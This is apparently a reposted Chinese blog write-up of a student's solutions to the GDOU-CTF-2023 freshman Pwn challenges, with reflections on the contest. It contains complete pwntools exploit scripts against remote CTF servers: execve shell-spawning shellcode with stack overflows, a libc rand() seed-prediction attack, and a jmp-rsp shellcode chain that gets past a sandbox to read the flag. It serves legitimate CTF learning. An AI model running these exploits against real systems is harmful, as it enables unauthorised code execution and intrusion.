GDOU-CTF-2023新生赛Pwn题解与反思

这篇具有很好参考价值的文章主要介绍了GDOU-CTF-2023新生赛Pwn题解与反思。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

微信图片_20230330144608.jpg

第一次参加CTF新生赛总结与反思

因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。
16点30分结束,就跑回来宿舍开始写。
第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。
大概17点10的时候,写第三题,可能自己第一次遇到随机数问题,我当时的想法是网上有没有随机数种子的工具,查了一下,还真有这个库。说明了pwntools库是个宝藏,自己平时应该抽空研究一下那个库,利用好他,成为一把好工具。
后面第三题,刚结束的时候,写出来了。其实思路没有错,就是自己的脚本写的时候,想让代码看起来可读性更高(可能以前写开发项目写习惯了,强迫症),然后多取了一次随机数,导致和远程那边不同步。后面不知道怎么的,把那个变量删了,就好了,当时傻逼了。
第四题知道是orw题目,目标是读flag,但是不会写shellcode。只能说,有思路,写不出,所以后面也应该提升自己的shellcode能力。不能只会写那种比较固定的shellcode。
虽然不知道其他人情况如何,但是自己第一次参加,接触pwn还没有一个月,学习反馈还是挺满意。
一路也遇到了很多师傅,结交很多朋友!继续努力!

比赛题目总结(核心,一定要学会shellcode!)

PS:以下题目的保护权限都开得很少!!!
所以就不贴图checksec图片了!!!
要获得flag,本次比赛关键在于:会自己写简短的shellcode,会使用随机数库。

Shellcode(编写短shell)

题目思路很简单,就是shellcode,不过长度有限制。
我是自己手改pwntools。

使用pwntools生成的,本质就是执行/* execve(path='/bin///sh', argv=['sh'], envp=0) */

/* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

那么开始手搓,搞定!

注意,32位是int0x80,64位是syscall


shellcode='''
mov rbx, 0x68732f6e69622f  
push rbx
push rsp 
pop rdi
xor esi, esi               
xor edx, edx            
push 0x3b
pop rax
syscall
'''

image.png

from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./pwn2')
io = remote('node6.anna.nssctf.cn',28961)
io.recvuntil(b'Please.')

shellcode='''
mov rbx, 0x68732f6e69622f  
push rbx
push rsp 
pop rdi
xor esi, esi               
xor edx, edx            
push 0x3b
pop rax
syscall
'''

io.sendline(asm(shellcode))

io.recvuntil(b"start!")

payload =  b'a' * (0xa + 8 ) + p64(0x6010A0)

io.sendline(payload)

io.interactive()

EASY PWN(直接暴力)

不用想那么多,直接随便输入垃圾数据即可
因为只要V5大于0就ok了,甚至偏移都不用想,直接乱输入
image.png

from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./easypwn')
io = remote('node6.anna.nssctf.cn',28962)
payload = b'\x00'
payload = payload.ljust(0x30,b'a')
io.sendline(payload)
#io.sendlineafter(b'Password:',payload)

io.interactive()

真男人下120层(随机数库)

第一次认识,随机数这个库,然后没有什么难的
暴力循环120次即可
感觉一点都不pwn
注意脚本编写时候,别自作多情多取一次
image.png

from  pwn import *
from  ctypes import *
#context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./bin')
io=remote('node6.anna.nssctf.cn',28130)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

srand = libc.srand(libc.time(0))
srand = libc.srand(srand % 3 - 1522127470)
io.recvuntil('Floor')

for i in range(121):
     io.sendline(str(libc.rand( ) % 4 + 1).encode( ))

io.interactive()

Random(绕沙箱加短脚本)

程序禁了 execv,没开 NX,有 ‘jmp rsp’ 这么一个 gadget,所以往栈上写的 shellcode 是可执行且能利用到的。
很明显,是要读flag
先用pwn生成一个cat
用ljust左对齐抬高到0x28
返回地址为jmp rsp
填充 asm('sub rsp,0x30;call rsp')
那么返回的时候,执行jmp rsp,即asm('sub rsp,0x30;call rsp'),然后cat flag
太妙了!!!第一次见到这样的!

    jmp=0x40094E
    shellcode=asm(shellcraft.cat('flag'))
    shellcode=shellcode.ljust(0x28,b'\x00')
    payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')

image.png
image.png文章来源地址https://www.toymoban.com/news/detail-416606.html

from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node5.anna.nssctf.cn',28933)
#io=process('./RANDOM')

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand =  libc.srand(libc.time(0))

for i in range(100):
    io.sendlineafter('please input a guess num:',str(libc.rand( )%50).encode( ))
    io.recvline()
    jmp=0x40094E
    shellcode=asm(shellcraft.cat('flag'))
    shellcode=shellcode.ljust(0x28,b'\x00')
    payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')
    io.send(payload)
    io.interactive()

到了这里,关于GDOU-CTF-2023新生赛Pwn题解与反思的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTF-pwn pwntools用法探索

    相信各位CTF pwners一定对pwntools熟悉得不能再熟悉,做一道题时写下的第一行代码很可能就是 from pwn import * 。很多pwners对于pwntools的了解可能仅限于远程交互、ELF文件简单分析这些最基础的功能,但pwntools真的只有这些功能吗?你真的会使用pwntools吗? 本文从pwntools官方文档入手

    2024年02月05日
    浏览(31)
  • 【pwn】[SWPUCTF 2022 新生赛]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改

    下载附件,checksec检查程序保护情况: No RELRO ,说明got表可修改 接下来看主程序: 函数逻辑还是比较简单,14行出现格式化字符串漏洞,配合pwntools的fmtstr_payload模块可直接攻击,然后就是题目提供了libc,然后第10行又泄露puts函数的地址,可直接计算出基址,然后就是/bin/sh这

    2024年02月08日
    浏览(31)
  • 从零开始搭建Ubuntu CTF-pwn环境

    最近因为学校考试所以没怎么看pwn,但是中间虚拟机崩掉过,问题还挺严重。前几天发现能正常打开了,但是一用gdb就会出现下面让人窒息的提醒: 怎么调都不知道是怎么回事,很奇怪的是只有在开gdb的时候才会弹出这个错误,其他都是正常的。问过师傅时候无奈只能放弃这

    2024年01月16日
    浏览(74)
  • CTF-PWN学习-为缺少指导的同学而生

      更新公告:         2023-7-5晚上21:12 已更新,对内容做了些调整。 调整如下:         添加 解题步骤描述          添加 专业名词描述         博主也是个PWN的入门者。PWN的入门不可能是无痛的。能做到的只是减少一点初学者的痛苦。这篇博客会长期维护,也会

    2024年02月07日
    浏览(31)
  • DozerCTF-PWN题解

    这次比赛一共放了4道pwn题,3道栈上的,比较菜,只会做栈 1.pwn_fclose 开了canary和PIE,并且最后clode(1),clode(2)。不过问题不大,printf格式化字符串,泄露canary和libc地址,然后直接栈溢出getshell即可,注意栈平衡。后面就是执行exec 10,就能拿flag了 2.mid_pwn 禁用了open,read,write和其他

    2024年04月28日
    浏览(26)
  • PWN学习之格式化字符串及CTF常见利用手法

    格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。 格式化字符串漏洞通常发生在使用 C 或类似语言编写的程序中,其中  printf 、 sprintf 、 fprintf  等函数用于将数据格式化为字符串并进行输出

    2024年02月19日
    浏览(27)
  • CTF 全讲解:[SWPUCTF 2021 新生赛]Do_you_know_http

    项目 描述 搜索引擎 Bing 、 Google AI 大模型 文心一言 、 通义千问 、 讯飞星火认知大模型 、 ChatGPT MDN Web Docs https://developer.mozilla.org/zh-CN/ 项目 描述 HackBar 1.2.2 浏览器 Chrome 项目 描述 得分项 HTTP 请求头 题目来源 NSSCTF 雾现 访问题目首页 hello.php 得到如下界面: 意在希望我们使

    2024年02月08日
    浏览(28)
  • Pwn系列之Protostar靶场 Stack6题解

    源码如下: 首先,我们先来分析这段程序在做什么? 第1-4行导入一些常见的库函数 第6行定义了getpath()函数 第8行定义了一个buffer数组,数组长度是64 第9行定义了一个unsigned int 变量,变量名ret 第11行打印输出字符串“input path please” 第13行用gets函数向buffer数组写入字符 第

    2023年04月18日
    浏览(25)
  • Pwn系列之Protostar靶场 Stack3题解

    这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了 这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。 找到了win函数的地址 现在只需要修改函数指针的地址到win函数即可。

    2023年04月18日
    浏览(31)
  • 2023-05-25 最近的一个客户POC的反思

    最近在遇到一个客户的POC的问题,其中经历诸多有意思的事情, 有必要记录一下,以作为后续创业所要避免的地方。 查询SQL中, 存在给查询到的列属性赋值的情况 给属性的赋值的数据类型,和列属性的数据类型,不匹配,比如给整形的属性赋值字符串 在所做的项目中,数据库

    2024年02月07日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包